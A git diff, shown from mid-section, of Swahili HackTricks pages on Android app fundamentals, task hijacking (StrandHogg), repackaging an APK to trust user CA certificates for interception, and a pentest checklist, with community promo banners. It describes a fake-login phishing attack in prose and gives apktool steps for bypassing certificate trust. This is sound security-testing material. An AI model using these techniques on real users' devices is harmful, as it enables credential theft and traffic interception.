programu nyingi kujibu ujumbe sawa kutoka kwa mfumo. Programu inaweza **kujiandikisha mpokeaji** kwa **njia mbili kuu**: kupitia **Mwongozo** wa programu au **kwa njia ya kudhibiti** ndani ya msimbo wa programu kupitia API ya **`registerReceiver`**. Katika Mwongozo, matangazo hufafanuliwa kwa idhini, wakati wapokeaji waliojiandikisha kwa njia ya kudhibiti wanaweza pia kufafanua idhini wakati wa usajili. +**Wapokezi wa matangazo** hufanya kazi kama wasikilizaji katika mfumo wa ujumbe, kuruhusu programu nyingi kujibu ujumbe sawa kutoka kwa mfumo. Programu inaweza **kujiandikisha mpokezi** kwa **njia mbili kuu**: kupitia **Mwongozo** wa programu au **kwa njia ya kudhibiti** ndani ya msimbo wa programu kupitia API ya **`registerReceiver`**. Katika Mwongozo, matangazo hufafanuliwa kwa idhini, wakati wapokezi waliojiandikisha kwa njia ya kudhibiti wanaweza pia kufafanua idhini wakati wa usajili. -**Vichujio vya nia** ni muhimu katika njia zote za usajili, kufafanua ni matangazo gani yanachochea mpokeaji. Mara tu tangazo linalolingana linapotumwa, njia ya **`onReceive`** ya mpokeaji huitwa, ikiruhusu programu kureagiria ipasavyo, kama vile kurekebisha tabia kujibu onyo la betri iliyopungua. +**Vichujio vya nia** ni muhimu katika njia zote za usajili, kufafanua ni matangazo gani yanasababisha mpokeaji kuanza kazi. Mara tu tangazo linalolingana linapotumwa, njia ya **`onReceive`** ya mpokeaji inaitwa, ikiruhusu programu kureagiria ipasavyo, kama vile kurekebisha tabia kujibu onyo la betri iliyopungua. -Matangazo yanaweza kuwa **ya kiasinkroni**, yakifikia wapokeaji wote bila mpangilio, au **ya kusinkroni**, ambapo wapokeaji wanapata tangazo kulingana na vipaumbele vilivyowekwa. Walakini, ni muhimu kutambua hatari ya usalama, kwani programu yoyote inaweza kujipa kipaumbele ili kuvuruga tangazo. +Matangazo yanaweza kuwa **ya kiasinkroni**, yakifikia wapokezi wote bila mpangilio, au **yasinkroni**, ambapo wapokezi wanapata tangazo kulingana na vipaumbele vilivyowekwa. Walakini, ni muhimu kutambua hatari ya usalama, kwani programu yoyote inaweza kujipa kipaumbele ili kuvuruga tangazo. -Ili kuelewa utendaji wa mpokeaji, tafuta njia ya **`onReceive`** ndani ya darasa lake. Msimbo wa njia hii unaweza kubadilisha Nia iliyopokelewa, ikisisitiza umuhimu wa ukaguzi wa data na wapokeaji, hasa katika **Matangazo Yaliyoagizwa**, ambayo yanaweza kurekebisha au kudondosha Nia. +Ili kuelewa utendaji wa mpokeaji, tafuta njia ya **`onReceive`** ndani ya darasa lake. Msimbo wa njia hii unaweza kubadilisha Nia iliyopokelewa, ikisisitiza umuhimu wa ukaguzi wa data na wapokezi, hasa katika **Matangazo Yaliyoagizwa**, ambayo yanaweza kuhariri au kudondosha Nia. ### Mtoaji wa Yaliyomo -**Watoaji wa Yaliyomo** ni muhimu kwa **kushiriki data iliyopangiliwa** kati ya programu, ikisisitiza umuhimu wa kutekeleza **idhini** ili kuhakikisha usalama wa data. Wao huruhusu programu kupata data kutoka vyanzo mbalimbali, ikiwa ni pamoja na mabadiliko, mfumo wa faili, au wavuti. Idhini maalum, kama **`readPermission`** na **`writePermission`**, ni muhimu kwa kudhibiti upatikanaji. Aidha, upatikanaji wa muda unaweza kutolewa kupitia mipangilio ya **`grantUriPermission`** katika mwongozo wa programu, ikiboresha sifa kama vile `path`, `pathPrefix`, na `pathPattern` kwa udhibiti wa kina wa upatikanaji. +**Watoaji wa Yaliyomo** ni muhimu kwa **kushiriki data iliyopangiliwa** kati ya programu, ikisisitiza umuhimu wa kutekeleza **idhini** ili kuhakikisha usalama wa data. Wao huruhusu programu kupata data kutoka vyanzo mbalimbali, ikiwa ni pamoja na mabadiliko, faili za mfumo, au wavuti. Idhini maalum, kama **`readPermission`** na **`writePermission`**, ni muhimu kwa kudhibiti upatikanaji. Aidha, upatikanaji wa muda unaweza kuruhusiwa kupitia mipangilio ya **`grantUriPermission`** katika mwongozo wa programu, ikichanganya sifa kama vile `path`, `pathPrefix`, na `pathPattern` kwa kudhibiti upatikanaji kwa undani. Uthibitishaji wa kuingiza ni muhimu kuzuia udhaifu, kama vile kuingiza SQL. Watoaji wa Yaliyomo hutoa operesheni za msingi: `insert()`, `update()`, `delete()`, na `query()`, kurahisisha upangilizi wa data na kushiriki kati ya programu. -**FileProvider**, Mtoaji wa Yaliyomo maalum, unazingatia kushiriki faili kwa usalama. Imefafanuliwa katika mwongozo wa programu na sifa maalum za kudhibiti upatikanaji wa folda, zikionyeshwa na `android:exported` na `android:resource` inayoelekeza kwa mipangilio ya folda. Tahadhari inashauriwa wakati wa kushiriki saraka ili kuepuka kufunua data nyeti kwa bahati mbaya. +**FileProvider**, Mtoaji wa Yaliyomo maalum, unazingatia kushiriki faili kwa usalama. Imetajwa katika mwongozo wa programu na sifa maalum za kudhibiti upatikanaji wa folda, zikionyeshwa na `android:exported` na `android:resource` inayoelekeza kwa mipangilio ya folda. Tahadhari inashauriwa wakati wa kushiriki saraka ili kuepuka kufunua data nyeti kwa bahati mbaya. Mfano wa tangazo la mwongozo kwa FileProvider: ```xml @@ -331,14 +342,14 @@ Kwa maelezo zaidi angalia: ## WebViews -WebViews ni kama **vivinjari vidogo vya wavuti** ndani ya programu za Android, vinavyovuta yaliyomo kutoka wavuni au kutoka kwenye faili za ndani. Wanakabili hatari kama vivinjari vya kawaida, lakini kuna njia za **kupunguza hatari hizi** kupitia **vipimo maalum**. +WebViews ni kama **vivinjari vidogo vya wavuti** ndani ya programu za Android, vinavyovuta yaliyomo kutoka kwenye wavuti au kutoka kwenye faili za ndani. Wanakabili hatari sawa na vivinjari vya kawaida, lakini kuna njia za **kupunguza hatari hizi** kupitia **vipimo maalum**. Android inatoa aina mbili kuu za WebView: -- **WebViewClient** ni nzuri kwa HTML ya msingi lakini haisaidii kazi ya onyo ya JavaScript, ikibadilisha jinsi mashambulizi ya XSS yanavyoweza kujaribiwa. +- **WebViewClient** ni nzuri kwa HTML ya msingi lakini haisaidii kazi ya onyo ya JavaScript, ikibadilisha jinsi mashambulizi ya XSS yanavyoweza jaribiwa. - **WebChromeClient** inafanya kazi zaidi kama uzoefu kamili wa kivinjari cha Chrome. -Kitu muhimu ni kwamba vivinjari vya WebView **havishiriki vidakuzi** na kivinjari kikuu cha kifaa. +Jambo muhimu ni kwamba vivinjari vya WebView **havishiriki vidakuzi** na kivinjari kuu cha kifaa. Kwa kupakia yaliyomo, njia kama ````loadUrl````, ````loadData````, na ````loadDataWithBaseURL```` zinapatikana. Ni muhimu kuhakikisha kuwa URL au faili hizi ni **salama kutumia**. Vipimo vya usalama vinaweza kusimamiwa kupitia darasa la ````WebSettings````. Kwa mfano, kulemaza JavaScript na ````setJavaScriptEnabled(false)```` kunaweza kuzuia mashambulizi ya XSS. @@ -347,17 +358,17 @@ Kwa kupakia yaliyomo, njia kama ````loadUrl````, ````loadData````, na ````loadDa Kuruhusu ufikiaji wa yaliyomo (````setAllowContentAccess(true)````) inaruhusu WebViews kufikia Watoa Huduma wa Yaliyomo, ambayo inaweza kuwa hatari isipokuwa URL za yaliyomo zimehakikiwa kuwa salama. Kudhibiti ufikiaji wa faili: -- Kulemaza ufikiaji wa faili (````setAllowFileAccess(false)````) kunapunguza ufikiaji wa mfumo wa faili, na matakwa kwa mali fulani, kuhakikisha zinatumika tu kwa yaliyomo yasiyo ya siri. +- Kulemaza ufikiaji wa faili (````setAllowFileAccess(false)````) kunapunguza ufikiaji wa mfumo wa faili, na ubaguzi kwa mali fulani, kuhakikisha zinatumika tu kwa yaliyomo yasiyo ya siri. ## Sehemu Nyingine za Programu na Usimamizi wa Kifaa cha Mkononi ### **Kusainiwa Kidijitali kwa Programu** -- **Kusainiwa kidijitali** ni lazima kwa programu za Android, ikihakikisha zimeandikwa **kwa uhalisia** kabla ya usakinishaji. Mchakato huu hutumia cheti kwa utambulisho wa programu na lazima ithibitishwe na msimamizi wa pakiti wa kifaa wakati wa usakinishaji. Programu zinaweza kuwa **zilizojisaini au zilizothibitishwa na CA ya nje**, zikilinda dhidi ya ufikiaji usioruhusiwa na kuhakikisha programu inabaki bila kubadilishwa wakati wa kufikishwa kwenye kifaa. +- **Kusainiwa kidijitali** ni lazima kwa programu za Android, ikihakikisha zimeandikwa **kwa uhalisia** kabla ya usakinishaji. Mchakato huu hutumia cheti kwa utambulisho wa programu na lazima ithibitishwe na msimamizi wa pakiti ya kifaa wakati wa usakinishaji. Programu zinaweza kuwa **zimejijiau au kuthibitishwa na CA ya nje**, kujilinda dhidi ya ufikiaji usioruhusiwa na kuhakikisha programu inabaki bila kuguswa wakati wa kufikishwa kwenye kifaa. ### **Uhakiki wa Programu kwa Usalama Ulioboreshwa** -- Kuanzia **Android 4.2**, kipengele kinachoitwa **Thibitisha Programu** kinaruhusu watumiaji kupata uhakiki wa usalama kabla ya usakinishaji. Mchakato huu wa **uhakiki** unaweza kuonya watumiaji dhidi ya programu zenye hatari, au hata kuzuia usakinishaji wa zile zenye nia hasidi, kuimarisha usalama wa mtumiaji. +- Kuanzia **Android 4.2**, kipengele kinachoitwa **Thibitisha Programu** inaruhusu watumiaji kupata uhakiki wa usalama kabla ya usakinishaji. Mchakato huu wa **uhakiki** unaweza kuonya watumiaji dhidi ya programu zenye hatari, au hata kuzuia usakinishaji wa zile zenye nia hasi, kuimarisha usalama wa mtumiaji. ### **Usimamizi wa Kifaa cha Mkononi (MDM)** @@ -372,6 +383,12 @@ if (dpm.isAdminActive(adminComponent)) { dpm.setPasswordMinimumLength(adminComponent, 8); } ``` +**Kikundi cha Usalama cha Try Hard** + +
+ +{% embed url="https://discord.gg/tryhardsecurity" %} +
Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! diff --git a/mobile-pentesting/android-app-pentesting/android-task-hijacking.md b/mobile-pentesting/android-app-pentesting/android-task-hijacking.md index 3f97f8eb4..cec360364 100644 --- a/mobile-pentesting/android-app-pentesting/android-task-hijacking.md +++ b/mobile-pentesting/android-app-pentesting/android-task-hijacking.md @@ -2,18 +2,26 @@
-Jifunze kuhusu kuteka AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! +Jifunze kuteka AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! Njia nyingine za kusaidia HackTricks: * Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! * Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) -* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee +* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee * **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Shiriki mbinu zako za kuteka kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
+**Kikundi cha Usalama cha Kujaribu Kwa Bidii** + +
+ +{% embed url="https://discord.gg/tryhardsecurity" %} + +*** + ## Kazi, Back Stack na Shughuli za Mbele Katika Android, **kazi** ni msururu wa shughuli ambazo watumiaji wanashirikiana nazo kumaliza kazi maalum, zilizoandaliwa ndani ya **back stack**. Msururu huu unapanga shughuli kulingana na wakati zilipoanzishwa, na shughuli ya hivi karibuni ikiwa juu kama **shughuli ya mbele**. Wakati wowote, shughuli hii tu ndio inayoonekana kwenye skrini, ikifanya sehemu ya **kazi ya mbele**. @@ -35,37 +43,29 @@ Katika programu za Android, **urafiki wa kazi** unabainisha kazi inayopendelewa ### Modes za Kuzindua -Sifa ya `launchMode` inaelekeza namna ya kushughulikia mifano ya shughuli ndani ya kazi. Mode ya **singleTask** ni muhimu kwa shambulio hili, ikidhibiti hali tatu kulingana na mifano ya shughuli iliyopo na mechi za urafiki wa kazi. Utekelezaji unategemea uwezo wa programu ya muhusika kufanana na urafiki wa kazi wa programu ya lengo, kudanganya mfumo wa Android kuzindua programu ya muhusika badala ya lengo lililokusudiwa. +Sifa ya `launchMode` inaelekeza namna ya kushughulikia mifano ya shughuli ndani ya kazi. Mode ya **singleTask** ni muhimu kwa shambulio hili, ikiongoza mazingira matatu kulingana na mifano ya shughuli iliyopo na mechi za urafiki wa kazi. Utekelezaji unategemea uwezo wa programu ya muhusika kufanana na urafiki wa kazi wa programu ya lengo, kudanganya mfumo wa Android kuzindua programu ya muhusika badala ya lengo lililokusudiwa. -### Hatua za Shambulio Kwa Undani +### Hatua za Shambulio za Kina -1. **Usakinishaji wa Programu ya Madhara**: Mfanyikazi anasakinisha programu ya muhusika kwenye kifaa chake. -2. **Uanzishaji wa Awali**: Mfanyikazi kwanza anafungua programu ya madhara, kuweka kifaa tayari kwa shambulio. -3. **Jaribio la Kuzindua Programu ya Lengo**: Mfanyikazi anajaribu kufungua programu ya lengo. +1. **Usakinishaji wa Programu ya Madhara**: Muhusika anasakinisha programu ya muhusika kwenye kifaa chao. +2. **Uanzishaji wa Awali**: Muhusika kwanza anafungua programu ya madhara, kuweka kifaa kwa ajili ya shambulio. +3. **Jaribio la Kuzindua Programu ya Lengo**: Muhusika anajaribu kufungua programu ya lengo. 4. **Utekelezaji wa Kuteka**: Kutokana na urafiki wa kazi unaofanana, programu ya madhara inazinduliwa badala ya programu ya lengo. -5. **Udanganyifu**: Programu ya madhara inaonyesha skrini bandia ya kuingia inayofanana na programu ya lengo, kuwadanganya watumiaji kuingiza habari nyeti. +5. **Udanganyifu**: Programu ya madhara inaleta skrini bandia ya kuingia inayofanana na programu ya lengo, kuwadanganya watumiaji kuingiza habari nyeti. Kwa utekelezaji wa vitendo wa shambulio hili, tazama hazina ya Task Hijacking Strandhogg kwenye GitHub: [Task Hijacking Strandhogg](https://github.com/az0mb13/Task\_Hijacking\_Strandhogg). ### Hatua za Kuzuia -Ili kuzuia mashambulio kama haya, waendelezaji wanaweza kuweka `taskAffinity` kuwa herufi tupu na kuchagua mode ya `singleInstance` ya kuzindua, kuhakikisha kufungwa kwa programu yao kutoka kwa nyingine. Kubinafsisha kazi ya `onBackPressed()` hutoa ulinzi zaidi dhidi ya kuteka kazi. +Ili kuzuia mashambulio kama haya, waendelezaji wanaweza kuweka `taskAffinity` kuwa herufi tupu na kuchagua mode ya kuzindua ya `singleInstance`, kuhakikisha kufungwa kwa programu yao kutoka kwa nyingine. Kubinafsisha kazi ya `onBackPressed()` hutoa ulinzi zaidi dhidi ya kuteka kazi. ## **Vyanzo** * [**https://blog.dixitaditya.com/android-task-hijacking/**](https://blog.dixitaditya.com/android-task-hijacking/) * [**https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html**](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html) -
+**Kikundi cha Usalama cha Kujaribu Kwa Bidii** -Jifunze kuhusu kuteka AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! +
-Njia nyingine za kusaidia HackTricks: - -* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! -* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) -* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee -* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Shiriki mbinu zako za kuteka kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github. - -
+{% embed url="https://discord.gg/tryhardsecurity" %} diff --git a/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md b/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md index 1c89d5f60..2d739369a 100644 --- a/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md +++ b/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md @@ -1,22 +1,30 @@
-Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! +Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! Njia nyingine za kusaidia HackTricks: * Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! * Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) -* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee +* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family) * **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github. +* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
+**Kikundi cha Usalama cha Kujitahidi Kufanikiwa** + +
+ +{% embed url="https://discord.gg/tryhardsecurity" %} + +*** + Baadhi ya programu hazipendi vyeti vilivyopakuliwa na mtumiaji, hivyo ili kuchunguza trafiki ya wavuti kwa baadhi ya programu tunapaswa kuchambua tena programu na kuongeza vitu kadhaa na kuirudisha. # Kiotomatiki -Zana [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) itafanya **kiotomatiki** mabadiliko muhimu kwenye programu ili kuanza kukamata maombi na pia kulemaza certificate pinning (ikiwapo ipo). +Zana [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) itafanya **kiotomatiki** mabadiliko muhimu kwenye programu ili kuanza kukamata maombi na pia kulemaza certificate pinning (ikiwa ipo). # Kwa Mkono @@ -24,7 +32,7 @@ Kwanza tunachambua programu: `apktool d *jina-la-faili*.apk` ![](../../.gitbook/assets/img9.png) -Kisha tunakwenda kwenye faili ya **Manifest.xml** & tunasonga chini hadi lebo ya `<\application android>` na tutaweka mstari ufuatao ikiwa hauko tayari: +Kisha tunakwenda kwenye faili ya **Manifest.xml** & tunasonga chini hadi lebo ya `<\application android>` na tutaweka mstari ufuatao ikiwa bado hauko: `android:networkSecurityConfig="@xml/network_security_config` @@ -36,7 +44,7 @@ Baada ya kuongeza: ![](../../.gitbook/assets/img11.png) -Sasa nenda kwenye folda ya **res/xml** & unda/boresha faili iitwayo network\_security\_config.xml na yaliyomo yafuatayo: +Sasa nenda kwenye saraka ya **res/xml** & unda/boresha faili iitwayo network\_security\_config.xml na yaliyomo yafuatayo: ```markup @@ -49,7 +57,7 @@ Sasa nenda kwenye folda ya **res/xml** & unda/boresha faili iitwayo network\_sec ``` -Kisha hifadhi faili & rudi nyuma kutoka kwenye mafaili yote na jenga upya apk kwa kutumia amri ifuatayo: `apktool b *jina-la-folda/* -o *jina-la-faili-linalotoka.apk*` +Kisha hifadhi faili & rudi nyuma kutoka kwenye miongozo yote & jenga upya apk kwa amri ifuatayo: `apktool b *jina-la-folda/* -o *faili-ya-matokeo.apk*` ![](../../.gitbook/assets/img12.png) @@ -57,7 +65,13 @@ Hatimaye, unahitaji tu **kusaini programu mpya**. [Soma sehemu hii ya ukurasa wa
-Jifunze kuhusu kuhack AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)! +**Kikundi cha Usalama cha Kujitahidi Sana** + +
+ +{% embed url="https://discord.gg/tryhardsecurity" %} + +Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! Njia nyingine za kusaidia HackTricks: @@ -65,6 +79,6 @@ Njia nyingine za kusaidia HackTricks: * Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) * Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee * **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/mobile-pentesting/android-checklist.md b/mobile-pentesting/android-checklist.md index bb8f36c5f..23cf6cf3f 100644 --- a/mobile-pentesting/android-checklist.md +++ b/mobile-pentesting/android-checklist.md @@ -6,15 +6,23 @@ * Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikionyeshwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! * Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee -* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) +* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com) * **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwenye [repo ya hacktricks](https://github.com/carlospolop/hacktricks) na [repo ya hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
+**Kikundi cha Usalama cha Try Hard** + +
+ +{% embed url="https://discord.gg/tryhardsecurity" %} + +*** + ### [Jifunze Msingi wa Android](android-app-pentesting/#2-android-application-fundamentals) -* [ ] [Misingi](android-app-pentesting/#fundamentals-review) +* [ ] [Msingi](android-app-pentesting/#fundamentals-review) * [ ] [Dalvik & Smali](android-app-pentesting/#dalvik--smali) * [ ] [Vipengele vya Kuingia](android-app-pentesting/#application-entry-points) * [ ] [Shughuli](android-app-pentesting/#launcher-activity) @@ -23,44 +31,44 @@ * [ ] [Huduma](android-app-pentesting/#services-1) * [ ] [Wapokeaji wa Matangazo](android-app-pentesting/#broadcast-receivers) * [ ] [Nia](android-app-pentesting/#intents) -* [ ] [Mnasi wa Nia](android-app-pentesting/#intent-filter) +* [ ] [Mtego wa Nia](android-app-pentesting/#intent-filter) * [ ] [Vipengele vingine](android-app-pentesting/#other-app-components) * [ ] [Jinsi ya kutumia ADB](android-app-pentesting/#adb-android-debug-bridge) * [ ] [Jinsi ya kuhariri Smali](android-app-pentesting/#smali) ### [Uchambuzi Stahiki](android-app-pentesting/#static-analysis) -* [ ] Angalia matumizi ya [ufichaji](android-checklist.md#some-obfuscation-deobfuscation-information), angalia kama simu ya mkononi imefungwa mizizi, kama inatumika emulator na uchunguzi wa kuzuia uharibifu. [Soma hii kwa maelezo zaidi](android-app-pentesting/#other-checks). -* [ ] Programu zenye hisia (kama programu za benki) zinapaswa kuangalia kama simu imefungwa mizizi na kuchukua hatua kwa kuzingatia hilo. +* [ ] Angalia matumizi ya [ufichaji](android-checklist.md#some-obfuscation-deobfuscation-information), angalia kama simu imefungwa mizizi, kama inatumika emulator na uchunguzi wa kuzuia uharibifu. [Soma hii kwa maelezo zaidi](android-app-pentesting/#other-checks). +* [ ] Programu nyeti (kama programu za benki) inapaswa kuangalia kama simu imefungwa mizizi na inapaswa kuchukua hatua kwa kuzingatia hilo. * [ ] Tafuta [maneno ya kuvutia](android-app-pentesting/#looking-for-interesting-info) (nywila, URL, API, encryption, backdoors, tokens, Bluetooth uuids...). * [ ] Tahadhari maalum kwa [firebase ](android-app-pentesting/#firebase)APIs. * [ ] [Soma maelezo:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml) * [ ] Angalia kama programu iko katika hali ya kurekebisha na jaribu "kuitumia" -* [ ] Angalia kama APK inaruhusu nakala za akiba -* [ ] Shughuli Zilizoruhusiwa +* [ ] Angalia kama APK inaruhusu nakala rudufu +* [ ] Shughuli Zilizowekwa Wazi * [ ] Watoa Huduma za Yaliyomo * [ ] Huduma Zilizofichuliwa * [ ] Wapokeaji wa Matangazo * [ ] URL Schemes * [ ] Je, programu ina[hifadhi data bila usalama ndani au nje](android-app-pentesting/#insecure-data-storage)? -* [ ] Je, kuna [nywila iliyoandikwa kwa nguvu au iliyohifadhiwa kwenye diski](android-app-pentesting/#poorkeymanagementprocesses)? Je, programu inatumia [algorithms za crypto zisizo salama](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)? -* [ ] Maktaba zote zimekompiliwa kwa kutumia bendera ya PIE? +* [ ] Je, kuna [nywila iliyoingizwa au iliyohifadhiwa kwenye diski](android-app-pentesting/#poorkeymanagementprocesses)? Je, programu inatumia [algorithms za crypto zisizo salama](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)? +* [ ] Maktaba zote zimekusanywa kwa kutumia bendera ya PIE? * [ ] Usisahau kuwa kuna[ Wachambuzi wa Android wa Stahiki](android-app-pentesting/#automatic-analysis) ambao wanaweza kukusaidia sana wakati huu. ### [Uchambuzi wa Kudumu](android-app-pentesting/#dynamic-analysis) * [ ] Andaa mazingira ([mtandaoni](android-app-pentesting/#online-dynamic-analysis), [VM ya ndani au ya kimwili](android-app-pentesting/#local-dynamic-analysis)) * [ ] Je, kuna [ufichuaji usio wa makusudi wa data](android-app-pentesting/#unintended-data-leakage) (kuingiza, kunakili/kubandika, machapisho ya kuharibika)? -* [ ] [Taarifa za siri zinahifadhiwa kwenye maboksi ya SQLite](android-app-pentesting/#sqlite-dbs)? -* [ ] [Shughuli zilizoruhusiwa zinazoweza kuch exploited](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)? -* [ ] [Watoa Huduma zinazoweza kuch exploited](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)? -* [ ] [Huduma zilizoruhusiwa zinazoweza kuch exploited](android-app-pentesting/#exploiting-services)? -* [ ] [Wapokeaji wa Matangazo wanaoweza kuch exploited](android-app-pentesting/#exploiting-broadcast-receivers)? -* [ ] Je, programu inatuma taarifa kwa maandishi wazi/kutumia algorithms dhaifu](android-app-pentesting/#insufficient-transport-layer-protection)? je, ni rahisi kufanya MitM? -* [ ] [Kagua trafiki ya HTTP/HTTPS](android-app-pentesting/#inspecting-http-traffic) -* [ ] Hili ni muhimu sana, kwa sababu ukichukua trafiki ya HTTP unaweza kutafuta udhaifu wa kawaida wa Wavuti (Hacktricks ina habari nyingi kuhusu udhaifu wa Wavuti). -* [ ] Angalia kwa uwezekano wa [Majumuisho ya Upande wa Mteja wa Android](android-app-pentesting/#android-client-side-injections-and-others) (labda uchambuzi wa msimbo wa stahiki utasaidia hapa) -* [ ] [Frida](android-app-pentesting/#frida): Tu Frida, itumie kupata data ya kuvutia ya kudumu kutoka kwenye programu (labda baadhi ya nywila...) +* [ ] [Taarifa za siri zinahifadhiwa kwenye mabadiliko ya SQLite](android-app-pentesting/#sqlite-dbs)? +* [ ] [Shughuli zilizowekwa wazi zinazoweza kudukuliwa](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)? +* [ ] [Watoa Huduma zinazoweza kudukuliwa](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)? +* [ ] [Huduma zilizowekwa wazi zinazoweza kudukuliwa](android-app-pentesting/#exploiting-services)? +* [ ] [Wapokeaji wa Matangazo wanaoweza kudukuliwa](android-app-pentesting/#exploiting-broadcast-receivers)? +* [ ] Je, programu inatuma habari kwa wazi/inaotumia algorithms dhaifu](android-app-pentesting/#insufficient-transport-layer-protection)? je, ni rahisi kufanya MitM? +* [ ] [Angalia trafiki ya HTTP/HTTPS](android-app-pentesting/#inspecting-http-traffic) +* [ ] Hii ni muhimu sana, kwa sababu ukichukua trafiki ya HTTP unaweza kutafuta udhaifu wa kawaida wa Wavuti 